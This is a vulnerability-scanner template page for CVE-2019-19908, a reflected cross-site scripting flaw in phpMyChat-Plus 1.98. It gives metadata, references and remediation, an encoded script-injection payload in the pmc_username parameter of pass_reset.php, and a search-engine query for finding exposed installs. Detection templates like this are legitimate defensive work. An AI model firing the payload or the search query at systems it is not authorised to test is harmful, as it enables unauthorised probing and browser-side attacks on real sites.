phpMyChat-Plus 1.98 - Cross-Site Scripting

ID: CVE-2019-19908

Severity: medium

Author: madrobot

Tags: cve2019,cve,phpMyChat,xss,ciprianmp

Description

phpMyChat-Plus 1.98 contains a cross-site scripting vulnerability via pmc_username parameter of pass_reset.php in password reset URL.

YAML Source

id: CVE-2019-19908

info:
  name: phpMyChat-Plus 1.98 - Cross-Site Scripting
  author: madrobot
  severity: medium
  description: |
    phpMyChat-Plus 1.98 contains a cross-site scripting vulnerability via pmc_username parameter of pass_reset.php in password reset URL.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of phpMyChat-Plus or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://cinzinga.github.io/CVE-2019-19908/
    - http://ciprianmp.com/
    - https://sourceforge.net/projects/phpmychat/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-19908
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-19908
    cwe-id: CWE-79
    epss-score: 0.00673
    epss-percentile: 0.79388
    cpe: cpe:2.3:a:ciprianmp:phpmychat-plus:1.98:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ciprianmp
    product: phpmychat-plus
    google-query: inurl:"/plus/pass_reset.php"
  tags: cve2019,cve,phpMyChat,xss,ciprianmp

http:
  - method: GET
    path:
      - "{{BaseURL}}/plus/pass_reset.php?L=english&pmc_username=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'username = "</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210082a3daf3dc74f5fd50a308332c25cd52699043a5b53a0aa6465882ab430cfc34022100965036d665d9b942e9b361d53148d9e7ad941de1c749fd167d33aa03a86a0884:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

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